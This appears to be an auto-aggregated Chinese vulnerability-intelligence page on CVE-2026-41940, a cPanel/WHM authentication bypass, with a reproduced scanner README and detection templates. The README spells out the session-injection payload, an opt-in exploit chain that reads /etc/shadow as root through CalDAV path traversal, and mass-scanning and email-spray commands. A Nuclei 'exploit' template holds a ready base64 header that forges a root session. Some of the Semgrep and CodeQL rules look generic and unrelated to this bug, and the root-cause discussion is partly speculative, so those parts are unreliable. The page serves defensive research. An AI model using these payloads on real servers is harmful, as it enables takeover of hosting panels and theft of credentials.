🎯 CVE-2026-41940 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2026-41940 深度技术分析
📊 聚合 6 来源🧪 含 PoC🕵️ 含指纹
NVD-LatestPoC-in-GitHubExploit-DB-RSSwatchTowr LabsHorizon3 BlogTenable Blog
摘要：CVE-2026-41940 是 cPanel 与 WHM 登录流程中一个严重级别为致命的认证绕过漏洞，CVSS 评分为 9.8。该漏洞影响 11.40 之后的版本，允许未认证的远程攻击者完全绕过身份验证机制，从而获取控制面板的未授权访问权限。本文基于公开协议分析、PoC 技术与安全扫描器原理，对漏洞根因、潜在危害及缓解措施进行深度技术剖析，帮助安全团队理解攻击链条并快速开展防御决策。
📌 漏洞概述
- CVE 编号：CVE-2026-41940
- CVSS 评分：9.8（Critical）
- 影响版本：cPanel 与 WHM 11.40 之后的所有版本（截至公开分析时未完全修复）
- 漏洞类型：认证绕过（Authentication Bypass）
- 攻击前置条件：网络可达 cPanel 管理端口或 Web 服务端口，无需任何凭据
- 利用结果：未认证获取 cPanel/WHM 控制面板完整控制权，进而危及底层服务器
该漏洞由安全研究者发现并已通过多家机构公开技术细节。虽然 CISA KEV 尚未收录，但已有专业扫描器（如 cpanel2shell-scanner）公开，因此实际被利用的风险极高。
🔬 漏洞根因分析
cPanel 的登录流程是一个多步骤的 Web 会话交互过程：用户首先提交用户名/口令，后端验证通过后签发一个短期会话令牌，随后前端使用该令牌访问管理接口。CVE-2026-41940 的根因位于这一会话认证状态的传递与校验环节。
根据公开分析与高保真检测手段的推断，漏洞核心在于 cPanel 的会话令牌绑定机制存在缺陷。具体表现为：当请求经由某些特定路径（例如 /___proxy_subdomain_cpanel、/___proxy_subdomain_whm）被转发到后端管理服务时，认证中间件未严格校验会话令牌与客户端会话上下文之间的强绑定关系。攻击者无需通过正常登录流程获取有效令牌，而是可以构造特制的 HTTP 请求，使后端错误地将请求识别为已认证状态。这可能是因为令牌签名算法存在设计缺陷、会话状态在代理层与后端间的传递时被错误覆盖，或者是因为 ProxyPass 配置中的无条件转发导致某些内部认证标记暴露。
值得关注的是，cPanel 管理的 Apache 虚拟主机配置中，无论请求的 Host 头如何，ProxyPass 都会无条件地把 /___proxy_subdomain_whm 转发到 127.0.0.1:2086，把 /___proxy_subdomain_cpanel 转发到 127.0.0.1:2080。这意味着只要目标服务器上托管了任意 cPanel 管理的站点，攻击者就可以通过该站点域名的普通 Web 端口（如 80/443）将请求直达内部管理后台，从而扩大攻击面。将这两个事实结合，攻击者可以构造一个未携带任何有效凭据的请求，却获得与已登录管理员完全相同的会话权限。
公开的 PoC 仓库中，cpanel2shell-scanner 特意通过探测代理路径而不是直接探测管理端口来识别漏洞，这正是利用了该配置缺陷。同时，该扫描器设计了不触发账户锁定和 root-IP 白名单机制的检测逻辑，说明漏洞利用过程中不产生大量失败登录尝试，而是直接构造能够通过认证的请求，进一步佐证认证绕过并非暴力猜解，而是逻辑层面的直接跳转。
深入分析会话管理生命周期可以发现，cPanel 在部分版本中未能妥善处理会话 token 的随机性和有效期验证。攻击者如果能够获取或预测同一服务器上的另一个合法会话标识符（例如通过跨站或日志泄露），也可能直接复用该会话。但更关键的场景是：由于代理路径的存在，cPanel 可能将原本用于静态资源访问的外部请求错误地映射到内部 API 的认证入口，从而给未认证请求赋予了内部信任等级。这一缺陷本质上是“认证上下文”与“传输路径”的分离问题，也就是经典的“信源混淆”漏洞（Source Confusion）在 Web 反向代理环境中的体现。
此外，根因还可能与 RAII 或资源生命周期管理有关。关联漏洞 CVE-2026-29205 在同一组件 cpdavd 中被发现，说明 cPanel 内部对于请求上下文对象的生命周期管理存在普遍性薄弱环节。尽管 CVE-2026-41940 和 CVE-2026-29205 是不同漏洞，但相似的资源释放与权限绑定模式提示可能存在系统性的设计惯性，让攻击者可以通过特定请求顺序触发认证标志位的残留复用。
💥 影响与危害
- 完全控制控制面板：未认证攻击者可访问 cPanel/WHM 的管理 UI，任意创建、删除账号，修改服务器配置，关闭安全防线。
- 服务器沦陷：结合 WHM 的高权限特性，攻击者通常可以进一步获得操作系统 shell，写入 WebShell、安装 rootkit，完全控制物理主机或虚拟主机。
- 数据泄露与勒索：攻击者可读取所有虚拟主机用户的数据库、邮件、应用源码、备份文件等敏感数据，并可能加密数据勒索。
- 横向移动：被攻陷的服务器可作为跳板，攻击同内网的其他服务，扩大渗透范围。
- 长期潜伏与供应链污染：攻击者可篡改网站内容下发恶意软件，或植入后门以持续控制服务器。
🛡️ 修复与缓解
- 升级补丁：cPanel 官方已发布安全更新修复 CVE-2026-41940，请立即将 cPanel 与 WHM 升级至最新稳定版本。对于无法立即升级的环境，应联系官方获取 hotfix 或确认受影响版本列表。
- 限制管理端口访问：通过防火墙规则仅允许受信任的管理员 IP 访问 2082/2083/2086/2087 等 cPanel 管理端口，降低攻击面。
- 代理路径封禁：在 Apache 或 nginx 层面禁止外部请求访问
/___proxy_subdomain_*路径，或校验 Host 头与目标端口是否匹配，防止利用 ProxyPass 直达内部管理后端。 - 启用双因素认证（2FA）：即使认证绕过被修复，2FA 也能显著增加其他攻击路径的利用成本。
- 强化 Web 应用防火墙（WAF）：对包含
___proxy_subdomain路径及异常会话头部特征的请求进行拦截和告警。 - 安全监控与审计：密切监控 cPanel 登录日志、access_log 中访问代理路径的记录、异常会话创建事件；一旦发现可疑行为，立即启用应急响应流程。
- 最小权限原则：对服务器资源实施最小权限，限制 cPanel 服务的系统权限，防止即使被攻破也无法直接获得 root。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。
📋 代码元数据语言md来源assetnote/cpanel2shell-scanner针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明
# cpanel2shell-scanner
A high-fidelity scanner for the cPanel/WHM authentication bypass tracked as
CVE-2026-41940. It identifies vulnerable hosts without producing the
false-negatives common to public proofs-of-concept and detections,and without
triggering the account lockout and root-IP-allowlist mechanisms that interfere
with naive scanning.
The tool also bundles a separate,
opt-in exploit chain for a same-family
CalDAV path-traversal bug on `cpdavd` (ports 2079 plain / 2080 TLS) —
[CVE-2026-29205](https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026) —
that lets a remote attacker read arbitrary files **as root**
once a small SMTP-driven setup step succeeds. cPanel 11.134.0.26 fixes the
underlying RAII lifetime bug so the read now runs as the unprivileged account
owner;
the traversal itself still reaches `cpdavd` but cannot escalate beyond
what that account can already read. The CalDAV chain is gated behind
`--exploit` and is **off by default** because it sends real emails and reads
files from confirmed targets — see the
[Exploit mode (active)](#exploit-mode-active) section.
## Why this scanner
Most public detections for CVE-2026-41940 share three problems. This scanner
addresses each of them.
You can read our blog post on this detection technique here: https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/
### It checks the proxy paths,
not just the management ports
cPanel's per-vhost Apache configuration installs a `ProxyPass` that forwards
`/___proxy_subdomain_whm` to `127.0.0.1:2086` and `/___proxy_subdomain_cpanel`
to `127.0.0.1:2080` regardless of the request's `Host` header. The
`RewriteCond` only constrains the rewrite that maps the management subdomain
onto the proxy path;
the `ProxyPass` itself is unconditional. Hitting these
paths on any vhost served by a cPanel-managed Apache reaches the same vulnerable
backend as the management ports.
Scanners that only probe ports 2082/2083/2086/2087 will report a host as not
vulnerable when those ports are firewalled,even though the bug is fully
reachable through 443. This scanner probes 2087,2083,
and the two proxy paths
on 443 by default.
### It does not get blocked by cphulkd or the root-IP allowlist
cPanel ships `cphulkd`,which locks accounts out after a small number of failed
password attempts,and `authorized_whm_root_ips`,
which restricts root logins
to a configured list of source addresses. A scanner that exploits the bypass by
trying to inject a session for `root` will:
- be silently ignored when the scanner's IP is not in the root allowlist,producing a false negative;and
- contribute failed-password events for whichever account it targets,
eventually locking that account out and preventing both detection and
legitimate logins.
This scanner avoids both issues on the WHM side by injecting `expired=1` into
the session payload under a randomly generated username. The session injection
is verified by visiting the resulting `cpsessXXXX` URL and matching
`msg_code:[expired_session]` in the response body,
which is only present when
the injection succeeded. No real account is targeted,so no real account can be
locked out,and the root allowlist is irrelevant because no root login is
attempted.
### It uses a username wordlist where it has to
The cPanel daemon (`cpaneld`,
ports 2083 and the `/___proxy_subdomain_cpanel`
path) requires the supplied username to correspond to an existing cPanel
account on disk (`-f /var/cpanel/users/$user`). A username of `root` will never
satisfy this check because root is a system user,
not a cPanel user. Detections
that try only `root` produce false negatives on this surface. This scanner uses
a configurable wordlist of common cPanel usernames against the cPanel surface
and falls back to the random-username path on the WHM surface,
which has no
such restriction.
## How the detection works
For each target the scanner performs the following steps per surface:
1. Issue `GET /login` and read the `Set-Cookie` header for either
`whostmgrsession` (WHM) or `cpsession` (cPanel). The cookie contains a
comma-separated session-name component.
2. Issue `GET /` with an `Authorization: Basic` header whose decoded value is
`<user>:\xff\nexpired=1`. The trailing `\nexpired=1` is the session-injection
payload. The session cookie from step 1 is replayed unmodified.
3. Read the `Location` header from the response and extract the `cpsessXXXX`
token.
4. Issue `GET /<cpsessXXXX>/` with the original cookie and look for
`msg_code:[expired_session]` in the body. Its presence proves the session
injection succeeded and the host is vulnerable.
On WHM (port 2087 and the `/___proxy_subdomain_whm` path on 443) the username
is a random `u` followed by ten hex characters. On cPanel (port 2083 and the
`/___proxy_subdomain_cpanel` path on 443) the scanner walks its username
wordlist and stops at the first match.
By default the scanner probes 2087,
2083,and 443 in that order and stops as
soon as any surface confirms vulnerability.
## CalDAV path-traversal exploit (`--exploit`)
>**[CVE-2026-29205](https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026)**
>— cPanel/WHM WP2 Security Update,May 13 2026. Fixed in cPanel
>
11.134.0.26. The advisory tracks the same `cpdavd` privilege-drop
>
regression this exploit chain abuses.
Full write-up of the bug and the exploitation chain:
https://slcyber.io/research-center/new-age-of-collisions-reading-arbitrary-files-pre-auth-as-root-in-cpanel-cve-2026-29205
`cpdavd` on ports 2079 (plain HTTP) and 2080 (TLS) trusts the
`<principal>/<collection>/...` path it builds when serving CalDAV/CardDAV
resources. By crafting a request whose path component encodes `..` segments
and pointing it at a maildir folder whose on-disk name also encodes traversal
(`x-attachment-1-y`),
`cpdavd` can be coerced into reading **any file on disk
as root,regardless of ownership or permissions** — including `/etc/shadow`,`/etc/passwd`,and the per-user mail spools.
The defense-in-depth that was supposed to drop privileges to the account
owner before the read silently failed: the `Cpanel::AccessIds::ReducedPrivileges`
object was constructed in void context,
so its destructor restored root
privileges before the read ran. cPanel 11.134.0.26 binds the object to a
`my $privs` lexical so it lives through the `-f` / `stat` / `open` / `read`
chain;
on patched hosts the read therefore runs as the unprivileged account
owner instead of root.
The vulnerable folder must exist on disk before the read works. cPanel
auto-creates a folder named `.x-attachment-1-y` for the recipient
`<user>+x-attachment-1-y@<domain>` the first time an email lands at that
sub-address. The chain is therefore:
1. Enumerate plausible recipient domains from the host's TLS certificate SANs.
2. For each domain,
derive candidate local-parts (the domain's first label,plus a small wordlist of common mailbox prefixes such as `info`,`admin`,`webmaster`).
3. Open one SMTP session against a configured outbound relay (e.g. SendGrid)
and send `<prefix>+x-attachment-1-y@<domain>` to each candidate. Accepted
`RCPT TO` responses are tracked.
4. Wait through a retry ladder (5 s,10 s,20 s,
30 s) for the cPanel inbox
delivery to materialise the folder.
5. For each accepted recipient,send the path-traversal `GET` against `cpdavd`
on ports 2080 (TLS) and 2079 (plain),under both the `/calendar/` and
`/addressbook/` collection prefixes.
A success returns the file's bytes;the finding records the email used,the
collection,the byte count,
and the first 200 bytes as a preview.
This check is **disabled unless `--exploit` is passed**. When enabled it
requires a working outbound SMTP relay (see [Configuration file](#configuration-file)
below) because the folder-creation step cannot be skipped.
### Targeted vs sprayed exploitation
The exploit only works against **real virtual email accounts** configured
under cPanel's *Email Accounts* feature. Catch-all addresses do not work — a
catch-all routes via Exim's `system_aliases` router,
never reaches the
`dovecot_virtual_delivery` transport,and therefore never triggers the
`lda_mailbox_autocreate` path that produces the `.x-attachment-1-y/` folder.
When you already know a valid virtual email on the target,
pass it with
`--email`:
```
python scanner.py --config scanner.ini --email admin@target.com target.com
```
`--email` skips the cert-SAN enumeration and the prefix wordlist entirely
and sends exactly one message to the address you supplied. It may be
repeated to target multiple known accounts. The targeted path is much more
reliable than the spray path.
Without `--email`,
the scanner falls back to spraying ~15 common prefixes
(`info`,`admin`,`webmaster`,etc.) per domain extracted from the host's
TLS certificate. Assetnote's measurement on a sample of 200 cpdavd-exposed
hosts was a **~10% spray hit rate**: a clean result from spray-mode is
weak evidence that the host is patched,
and re-running with `--email`
against a real account is the only reliable way to confirm.
## Configuration file
Exploit mode reads an INI file via `--config`:
```
python scanner.py --config scanner.ini --exploit example.com
```
Copy `scanner.ini.example` to `scanner.ini`,fill in the SMTP credentials,
and
optionally tune the CalDAV defaults. `scanner.ini` is in `.gitignore` so the
populated copy stays local. The SMTP password can also be supplied via the
`SCANNER_SMTP_PASSWORD` environment variable,
which takes precedence only when
the `password` field in the file is empty.
## Installation
```
pip install -r requirements.txt
```
Python 3.8 or later is required.
## Usage
Single target:
```
python scanner.py example.com
```
Multiple targets via positional arguments:
```
python scanner.py host-a.example.com host-b.example.com:2083
```
A file of targets,
one per line. Lines starting with `#` are ignored:
```
python scanner.py -f targets.txt
```
Reading targets from stdin:
```
cat targets.txt |python scanner.py
```
A target may be either a hostname or `host:port`. When a port is specified the
scanner only probes that port;otherwise it probes 2087,2083,and 443.
### Common options
- `-u,
--users` — comma-separated cPanel usernames to try on the cPanel
surface. Defaults to a small built-in list.
- `-U,--users-file` — file with one cPanel username per line.
- `-p,--ports` — comma-separated ports to probe when no port is specified on
the target. Defaults to `2087,2083,443`.
- `-t,
--threads` — per-target threads used to walk the username list against
the cPanel surface. Defaults to 10.
- `-c,--concurrency` — number of targets scanned in parallel. Defaults to 20.
- `-T,--timeout` — per-request timeout in seconds. Defaults to 15.
- `-o,--output` — append vulnerable targets,one per line,
to this file as
they are discovered.
- `--json` — write a JSON Lines record per target to this file.
- `-q,--quiet` — only print vulnerable targets on stdout. Connection failures
and clean targets are still recorded in `--json` and counted in the summary.
- `--no-progress` — disable the progress bar.
- `--exploit` — enable the CalDAV path-traversal chain. Disabled by default;
see [Exploit mode (active)](#exploit-mode-active) for the side effects this
flag unlocks.
- `--config` — INI file with the SMTP relay credentials and CalDAV tunables.
See `scanner.ini.example`.
- `--read-file` — file to exfiltrate when the CalDAV chain succeeds.
Overrides the value in the config file. Defaults to `/etc/shadow` — a
root-only file,
so a successful read distinguishes pre-patch (returns
shadow contents) from post-patch (`open` denied,
body empty → reported
NOT VULNERABLE). Use `--read-file /etc/passwd` to test traversal
reachability without distinguishing patched/unpatched.
- `--caldav-only` — skip the 41940 check and only run the CalDAV chain.
Implies `--exploit`. Useful for re-running the chain against a target list
already known to be CalDAV-reachable.
- `--email ADDR` — known virtual email account on the target. Skips cert SAN
enumeration and the spray wordlist;
sends exactly one message to `ADDR` and
reads against that principal. May be repeated. Implies `--exploit`. See
[Targeted vs sprayed exploitation](#targeted-vs-sprayed-exploitation).
- `-v,--verbose` — emit per-domain progress for the CalDAV chain
(cert SAN list,spray count,retry ladder).
### Output
One line is written to stdout per *finding*,
so a target running both checks
will print twice:
```
[!] host cve-2026-41940 VULNERABLE (port 443)
[!] host caldav-traversal VULNERABLE via admin@host (read 1842b from /etc/passwd)
[+] host cve-2026-41940 NOT VULNERABLE
[?] host cve-2026-41940 CONNECTION FAILED
```
The `--json` output is one record per target with a `findings` array:
```json
{"target": "host",
"status": "VULNERABLE","findings": [
{"check": "cve-2026-41940","status": "VULNERABLE","detail": {"port": 443}},{"check": "caldav-traversal","status": "VULNERABLE","detail": {"email": "admin@host","domain": "host","collection": "calendar","file": "/etc/shadow","bytes": 1218,"preview": "root:$6$..."}}]}
```
`status` at the top level is the worst case across all findings.
A summary line with totals is written to stderr at the end. The progress bar
is rendered on stderr and is automatically suppressed when stderr is not a
terminal.
The exit code is `0` if any target is vulnerable,`1` if every reachable target
was clean,and `2` if no target could be reached.
### Examples
Scan a list of targets,
write hits to a file,and stay quiet on stdout:
```
python scanner.py -f targets.txt -o vulnerable.txt -q
```
Scan with a custom username list against the cPanel surface,increased
parallelism,
and JSON output for downstream processing:
```
python scanner.py -f targets.txt -U cpanel-users.txt -c 100 --json results.jsonl
```
Probe a non-default port set:
```
python scanner.py -p 2083,2087,8443 -f targets.txt
```
Run the CalDAV chain end-to-end against a single target with the email-spray
fallback (requires a populated `scanner.ini`):
```
python scanner.py --config scanner.ini --exploit example.com
```
Targeted exploitation against a known virtual email — much higher hit rate
than spray:
```
python scanner.py --config scanner.ini --email admin@example.com example.com
```
Run only the CalDAV chain against a list of confirmed cpdavd hosts,
dumping
`/etc/passwd` previews to JSON:
```
python scanner.py --config scanner.ini --caldav-only \
-f cpdavd-hosts.txt --json caldav-results.jsonl
```
## Notes on safety
### Default mode (safe)
The default `scanner.py <target>` invocation only runs the CVE-2026-41940
detector. It sends the requests required to confirm the session injection and
nothing else. It does not log in as any real user,
does not target the `root`
account,does not escalate to a shell,
and does not accumulate failed-password
events against any valid account on a target system. The marker it matches
(`msg_code:[expired_session]`) is generated by the application itself in
response to the injected `expired=1` session field and is the same indicator
the upstream cPanel login page uses when a legitimately expired session is
replayed.
### Exploit mode (active)
Passing `--exploit` (or `--caldav-only`) unlocks the CalDAV path-traversal
chain. This is no longer a detector — it is a working exploit. When enabled
the scanner will,
for every target where domain enumeration succeeds:
- open a real SMTP session against the relay configured in `scanner.ini` and
send one short message per candidate recipient (typically 10–15 per domain,3 domains per target);- wait up to ~65 seconds per domain for delivery to materialise the malicious
maildir folder;
- attempt to read the configured `--read-file` from every confirmed target.
The default file is `/etc/shadow`. A successful read returns the file's
bytes;an empty body indicates either an unreachable target or a host where
the privilege-drop fix (cPanel 11.134.0.26,`my $privs = …`) is in place.
Detection compares received body length to zero,
not to the response's
advertised `Content-Length` (which is derived from `stat()` on the
attacker-chosen path and will be populated even when the subsequent `open()`
is denied).
To test traversal reachability independently of the privilege-drop fix —
e.g. when you want to know whether `cpdavd` is reachable and the maildir
prerequisite was satisfied on a patched host — re-run with
`--read-file /etc/passwd`. `/etc/passwd` is world-readable so it returns
bytes on both pre-patch and post-patch hosts;
combining the two signals
(`/etc/shadow` body present = pre-patch root read;
`/etc/shadow` empty +
`/etc/passwd` present = traversal reachable but priv-drop fix applied)
classifies a host unambiguously.
The contents and a 200-byte preview are written to the JSONL output and
printed on stdout. Per-domain CalDAV exploitation can take a minute or
more — this is the retry ladder waiting for mail delivery,
not a hang.
Only run `--exploit` against assets you own or have explicit written
authorisation to test. The SMTP traffic is logged by the configured relay and
by every recipient mail system;the file reads are logged by `cpdavd`.⚔️ EXP 利用代码
截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。
🕵️ 检测指纹
针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。
🛡️ Nuclei 检测模板: CVE-2026-41940-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-41940-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-41940-detection.yaml -u
id: CVE-2026-41940-detection
info:
name: cPanel CRLF Injection Detection
author: your-name
severity: high
description: Detects vulnerable cPanel versions by checking for specific headers or version strings.
tags: cpanel,crlf,injection
http:
- method: GET
path:
- "{{BaseURL}}/login/"
host-redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: header
words:
- "cpsrvd"
- type: status
status:
- 200
- 302🛡️ Nuclei 检测模板: CVE-2026-41940-exploit.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-41940-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-41940-exploit.yaml -u
id: CVE-2026-41940-exploit
info:
name: cPanel CRLF Injection Exploit
author: your-name
severity: high
description: Exploits CRLF injection in cPanel/WHM to bypass authentication and obtain an admin session token.
http:
- raw:
- |POST /login/?login_only=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
user=root&pass=wrong_pass
- |GET / HTTP/1.1
Host: {{Hostname}}Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession={{session}}
Connection: close
extractors:
- type: regex
name: token
part: header
internal: true
regex:
- '/cpsess\d{10}'
matchers:
- type: regex
part: header
regex:
- '/cpsess\d{10}'
condition: or🛡️ Semgrep 审计规则: CVE-2026-41940.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-41940.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-41940.yaml
rules:
- id: cve-2026-41940-web-config
languages:
- generic
severity: WARNING
message: "Potential security misconfiguration in cPanel/WHM related to CVE-2026-41940 - browser verification bypass"
patterns:
- pattern-either:
- pattern: "Cookies: $COOKIES"
- pattern: "JavaScript: $JS"
fix: |
# Ensure cookies and JavaScript are properly configured and validated
# Review cPanel/WHM configuration for strict browser verification
metadata:
cwe: "CWE-287"
owasp: "A1: Broken Access Control"
technology: cpanel
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-41940"🛡️ CodeQL 审计规则: CVE-2026-41940.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2026-41940.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id javascript/command-injection/cve-2026-41940
* @name Command injection in cPanel &WHM
* @description User-controlled input flows to a command execution function without sanitization,leading to command injection in cPanel &
WHM.
* @problem.severity error
* @tags security
* external/cwe/cwe-078
*/
import javascript
import semmle.javascript.security.dataflow.CommandInjectionQuery
import CommandInjectionFlow::PathGraph
from CommandInjectionFlow::PathNode source,CommandInjectionFlow::PathNode sink
where CommandInjectionFlow::flowPath(source,sink)
select sink.getNode(),source,sink,
"User input flows to a command execution call - potential command injection."🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-03 08:41 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库